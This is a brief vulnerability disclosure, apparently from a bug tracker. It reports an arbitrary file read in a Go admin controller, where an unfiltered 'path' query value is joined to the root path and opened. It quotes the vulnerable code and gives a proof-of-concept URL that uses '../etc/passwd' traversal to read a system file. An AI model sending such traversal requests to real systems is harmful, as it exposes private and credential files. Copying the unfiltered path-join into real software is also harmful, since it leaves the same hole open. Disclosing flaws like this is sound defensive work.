Vulnerability file address

internal/controllers/admin/setting/adminSystemController.go line 135 c.Query("path") The incoming path value is not filtered, resulting in arbitrary file reading

```
filePath := gstrings.JoinStr(configs.RootPath, c.Query("path"))
fi, err := os.Open(filePath)
if err != nil {
    con.ErrorHtml(c, err)
    return
}
```

POC

http://ip:port/admin/setting/system/view?
path=../etc/passwd

Attack results pictures
